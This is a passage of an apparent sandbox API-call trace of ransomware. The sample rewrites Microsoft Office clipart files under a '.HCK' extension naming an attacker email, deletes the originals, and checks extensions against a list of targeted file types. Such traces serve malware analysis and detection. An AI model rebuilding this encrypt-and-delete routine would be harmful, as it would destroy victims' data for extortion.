office\\root\\clipart\\pub60cor\\j0239955.wmf")) returned 0x220 [0171.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.410] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.410] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.416] GetLastError () returned 0x0 [0171.416] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1348, lpOverlapped=0x0) returned 1 [0171.418] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1350, lpOverlapped=0x0) returned 1 [0171.419] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.419] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.419] SetEndOfFile (hFile=0x364) returned 1 [0171.422] CloseHandle (hObject=0x364) returned 1 [0171.423] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.423] SetEndOfFile (hFile=0x39c) returned 1 [0171.428] CloseHandle (hObject=0x39c) returned 1 [0171.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239955.wmf")) returned 1 [0171.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.434] lstrlenW (lpString=".doc") returned 4 [0171.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.434] lstrlenW (lpString=".docx") returned 5 [0171.434] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.434] lstrlenW (lpString=".pdf") returned 4 [0171.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.434] lstrlenW (lpString=".xls") returned 4 [0171.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.435] lstrlenW (lpString=".xlsx") returned 5 [0171.435] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.435] lstrlenW (lpString=".ppt") returned 4 [0171.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.435] lstrlenW (lpString=".zip") returned 4 [0171.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.435] lstrlenW (lpString=".rar") returned 4 [0171.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString=".bz2") returned 4 [0171.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString=".7z") returned 3 [0171.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.435] lstrlenW (lpString=".dbf") returned 4 [0171.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.435] lstrlenW (lpString=".1cd") returned 4 [0171.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.435] lstrlenW (lpString=".jpg") returned 4 [0171.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.435] lstrlenW (lpString=".doc") returned 4 [0171.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString=".docx") returned 5 [0171.435] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.435] lstrlenW (lpString=".pdf") returned 4 [0171.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString=".xls") returned 4 [0171.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.435] lstrlenW (lpString=".xlsx") returned 5 [0171.435] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.435] lstrlenW (lpString=".ppt") returned 4 [0171.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.436] lstrlenW (lpString=".zip") returned 4 [0171.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.436] lstrlenW (lpString=".rar") returned 4 [0171.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.436] lstrlenW (lpString=".bz2") returned 4 [0171.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.436] lstrlenW (lpString=".7z") returned 3 [0171.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.436] lstrlenW (lpString=".dbf") returned 4 [0171.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.436] lstrlenW (lpString=".1cd") returned 4 [0171.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239955.WMF") returned 68 [0171.436] lstrlenW (lpString=".jpg") returned 4 [0171.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.436] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.436] lstrlenW (lpString="J0239975.WMF") returned 12 [0171.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.443] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3488) returned 1 [0171.443] CloseHandle (hObject=0x374) returned 1 [0171.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf")) returned 0x220 [0171.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.457] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.458] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.466] GetLastError () returned 0x0 [0171.466] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xda0, lpOverlapped=0x0) returned 1 [0171.467] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0171.468] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.468] WriteFile (in: hFile=0x30c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.468] SetEndOfFile (hFile=0x30c) returned 1 [0171.471] CloseHandle (hObject=0x30c) returned 1 [0171.474] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.474] SetEndOfFile (hFile=0x370) returned 1 [0171.478] CloseHandle (hObject=0x370) returned 1 [0171.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf")) returned 1 [0171.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.485] lstrlenW (lpString=".doc") returned 4 [0171.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.485] lstrlenW (lpString=".docx") returned 5 [0171.485] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.485] lstrlenW (lpString=".pdf") returned 4 [0171.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.485] lstrlenW (lpString=".xls") returned 4 [0171.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.485] lstrlenW (lpString=".xlsx") returned 5 [0171.485] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.485] lstrlenW (lpString=".ppt") returned 4 [0171.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.485] lstrlenW (lpString=".zip") returned 4 [0171.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.485] lstrlenW (lpString=".rar") returned 4 [0171.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.485] lstrlenW (lpString=".bz2") returned 4 [0171.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.485] lstrlenW (lpString=".7z") returned 3 [0171.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.485] lstrlenW (lpString=".dbf") returned 4 [0171.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.485] lstrlenW (lpString=".1cd") returned 4 [0171.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.485] lstrlenW (lpString=".jpg") returned 4 [0171.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.485] lstrlenW (lpString=".doc") returned 4 [0171.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.486] lstrlenW (lpString=".docx") returned 5 [0171.486] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.486] lstrlenW (lpString=".pdf") returned 4 [0171.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.486] lstrlenW (lpString=".xls") returned 4 [0171.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.486] lstrlenW (lpString=".xlsx") returned 5 [0171.486] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.486] lstrlenW (lpString=".ppt") returned 4 [0171.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.486] lstrlenW (lpString=".zip") returned 4 [0171.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.486] lstrlenW (lpString=".rar") returned 4 [0171.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.486] lstrlenW (lpString=".bz2") returned 4 [0171.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.486] lstrlenW (lpString=".7z") returned 3 [0171.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.486] lstrlenW (lpString=".dbf") returned 4 [0171.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.486] lstrlenW (lpString=".1cd") returned 4 [0171.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF") returned 68 [0171.486] lstrlenW (lpString=".jpg") returned 4 [0171.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.486] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.486] lstrlenW (lpString="J0240291.WMF") returned 12 [0171.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.488] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5238) returned 1 [0171.488] CloseHandle (hObject=0x378) returned 1 [0171.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf")) returned 0x220 [0171.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.501] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.501] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.507] GetLastError () returned 0x0 [0171.507] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1476, lpOverlapped=0x0) returned 1 [0171.511] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1480, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1480, lpOverlapped=0x0) returned 1 [0171.512] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.512] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.512] SetEndOfFile (hFile=0x39c) returned 1 [0171.516] CloseHandle (hObject=0x39c) returned 1 [0171.518] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.518] SetEndOfFile (hFile=0x394) returned 1 [0171.523] CloseHandle (hObject=0x394) returned 1 [0171.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240291.wmf")) returned 1 [0171.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.531] lstrlenW (lpString=".doc") returned 4 [0171.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.531] lstrlenW (lpString=".docx") returned 5 [0171.531] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.531] lstrlenW (lpString=".pdf") returned 4 [0171.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.531] lstrlenW (lpString=".xls") returned 4 [0171.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.531] lstrlenW (lpString=".xlsx") returned 5 [0171.531] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.532] lstrlenW (lpString=".ppt") returned 4 [0171.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".zip") returned 4 [0171.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.532] lstrlenW (lpString=".rar") returned 4 [0171.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString=".bz2") returned 4 [0171.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString=".7z") returned 3 [0171.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".dbf") returned 4 [0171.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".1cd") returned 4 [0171.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".jpg") returned 4 [0171.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".doc") returned 4 [0171.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString=".docx") returned 5 [0171.532] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0171.532] lstrlenW (lpString=".pdf") returned 4 [0171.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString=".xls") returned 4 [0171.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.532] lstrlenW (lpString=".xlsx") returned 5 [0171.532] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0171.532] lstrlenW (lpString=".ppt") returned 4 [0171.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".zip") returned 4 [0171.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.532] lstrlenW (lpString=".rar") returned 4 [0171.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString=".bz2") returned 4 [0171.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString=".7z") returned 3 [0171.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".dbf") returned 4 [0171.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".1cd") returned 4 [0171.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240291.WMF") returned 68 [0171.532] lstrlenW (lpString=".jpg") returned 4 [0171.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.533] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.533] lstrlenW (lpString="J0241041.WMF") returned 12 [0171.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.544] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2342) returned 1 [0171.544] CloseHandle (hObject=0x380) returned 1 [0171.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf")) returned 0x220 [0171.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 